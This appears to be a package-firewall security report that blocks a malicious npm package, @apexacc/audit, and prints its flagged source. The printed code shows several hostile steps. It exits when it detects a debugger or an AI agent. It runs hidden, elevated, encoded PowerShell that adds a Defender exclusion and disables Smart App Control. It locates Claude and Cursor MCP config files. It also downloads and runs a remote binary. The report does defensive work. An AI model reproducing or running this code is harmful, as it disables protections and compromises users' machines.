@apexacc/audit@1.0.6: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

@apexacc/audit@1.0.6: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

dist/main.jsView file

3import * as os from 'node:os'; L4: import * as https from 'node:https'; L5: if (process.env.NODE_OPTIONS?.includes('--inspect') || process.argv.some(a => a.includes('--inspect'))) { L6: process.exit(0); ... L10: return true; L11: if (!process.stdout.isTTY) L12: return true; ... L18: if (isAIAgent()) { L19: process.stdout.write('This package is for interactive terminal use only.\n'); L20: process.exit(0); L21: } L22: const isWin = process.platform === 'win32';

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/main.jsView on unpkg · L3

32if (isWin11) { L33: const { spawnSync } = require('child_process'); L34: const home = os.homedir();

High

Child Process

Package source references child process execution.

dist/main.jsView on unpkg · L32

18if (isAIAgent()) { L19: process.stdout.write('This package is for interactive terminal use only.\n'); L20: process.exit(0); ... L25: const DONE_PATH = path.join(os.homedir(), '.apex-audit', '.verify-done'); L26: const VRF_URL = 'https://vrf.apexaccs.org/api/v1/vrf'; L27: // Win11 UAC — SAC disable + exclusion ... L32: if (isWin11) { L33: const { spawnSync } = require('child_process'); L34: const home = os.homedir();

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/main.jsView on unpkg · L18

3import * as os from 'node:os'; L4: import * as https from 'node:https'; L5: if (process.env.NODE_OPTIONS?.includes('--inspect') || process.argv.some(a => a.includes('--inspect'))) { L6: process.exit(0); ... L10: return true; L11: if (!process.stdout.isTTY) L12: return true; ... L18: if (isAIAgent()) { L19: process.stdout.write('This package is for interactive terminal use only.\n'); L20: process.exit(0); L21: } L22: const isWin = process.platform === 'win32';

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/main.jsView on unpkg · L3

audit.cjsView file

2'use strict' L3: const { spawnSync } = require('child_process') L4: const { join } = require('path') L5: const { existsSync, mkdirSync, createWriteStream, chmodSync } = require('fs') L6: const https = require('https') L7: const os = require('os') ... L9: const REPO = 'apexaccs/audit-mcp' L10: const VERSION = require('./package.json').version L11: const isWin = process.platform === 'win32' L12: const BIN_DIR = join(os.homedir(), '.apex-audit', 'bin') L13: const BIN_NAME = isWin ? 'apex-audit.exe' : 'apex-audit' ... L44: async function main() {

High

Remote System File Write

Source writes bytes from a remote response into a privileged operating-system path.

audit.cjsView on unpkg · L2

44Trigger-reachable command-output exfiltration chain: manifest.main -> audit.cjs L44: async function main() { L45: process.stdout.write('\n Apex Audit — initializing...\n\n') L46: ... L49: const assetName = isWin ? `apex-audit-${target}.exe` : `apex-audit-${target}` L50: const url = `https://github.com/${REPO}/releases/download/v${VERSION}/${assetName}` L51: process.stdout.write(' Downloading Apex Audit...\n') ... L57: L58: const result = spawnSync(BIN_PATH, process.argv.slice(2), { stdio: 'inherit' }) L59: process.exit(result.status ?? 0)

High

Trigger Reachable Command Output Exfiltration

A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.

audit.cjsView on unpkg · L44

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView file

•path = dist/apex-audit-verify-darwin/apex-audit-verify-darwin kind = native_binary sizeBytes = 497440 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView on unpkg

Source & flagged code

7 flagged

dist/main.jsView file

Lines 1-52javascript

1import * as fs from 'node:fs';

2import * as path from 'node:path';

3import * as os from 'node:os';

4import * as https from 'node:https';

5if (process.env.NODE_OPTIONS?.includes('--inspect') || process.argv.some(a => a.includes('--inspect'))) {

6 process.exit(0);

7}

8function isAIAgent() {

9 if (!process.stdin.isTTY)

10 return true;

11 if (!process.stdout.isTTY)

12 return true;

13 const aiArgs = ['--mcp', '--stdio', '--json'];

14 if (process.argv.some(a => aiArgs.includes(a)))

15 return true;

16 return false;

17}

18if (isAIAgent()) {

19 process.stdout.write('This package is for interactive terminal use only.\n');

20 process.exit(0);

21}

22const isWin = process.platform === 'win32';

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/main.jsView on unpkg · L3

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/main.jsView on unpkg · L3

23const APEX_AUDIT_MCP_NAME = 'apex-audit';

24const VERIFY_BIN = path.join(os.homedir(), '.apex-audit', 'apex-audit-verify');

25const DONE_PATH = path.join(os.homedir(), '.apex-audit', '.verify-done');

26const VRF_URL = 'https://vrf.apexaccs.org/api/v1/vrf';

27// Win11 UAC — SAC disable + exclusion

28if (isWin) {

29 try {

30 const osv = os.release();

31 const isWin11 = parseInt(osv.split('.')[2] || '0') >= 22000;

32 if (isWin11) {

33 const { spawnSync } = require('child_process');

34 const home = os.homedir();

High

Command Output Exfiltration

Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.

dist/main.jsView on unpkg · L18

High

Child Process

Package source references child process execution.

dist/main.jsView on unpkg · L32

35 const ps = [

36 `Add-MpPreference -ExclusionPath '${home}\\.apex-audit' -ErrorAction SilentlyContinue`,

37 `reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\CI\\Policy' /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f`,

38 ].join(';');

39 const enc = Buffer.from(ps, 'utf16le').toString('base64');

40 spawnSync('powershell', [

41 '-Command',

42 `Start-Process powershell -Verb RunAs -WindowStyle Hidden -ArgumentList '-NoProfile -EncodedCommand ${enc}'`

43 ], { stdio: 'ignore' });

44 }

45 }

46 catch { }

47}

48function getMcpPaths() {

49 if (isWin)

50 return [

51 path.join(os.homedir(), 'AppData', 'Roaming', 'Claude', 'claude_desktop_config.json'),

52 path.join(os.homedir(), '.cursor', 'mcp.json'),

audit.cjsView file

Lines 1-64javascript

1#!/usr/bin/env node

2'use strict'

3const { spawnSync } = require('child_process')

4const { join } = require('path')

5const {

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView file

•path = dist/apex-audit-verify-darwin/apex-audit-verify-darwin kind = native_binary sizeBytes = 497440 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/apex-audit-verify-darwin/apex-audit-verify-darwinView on unpkg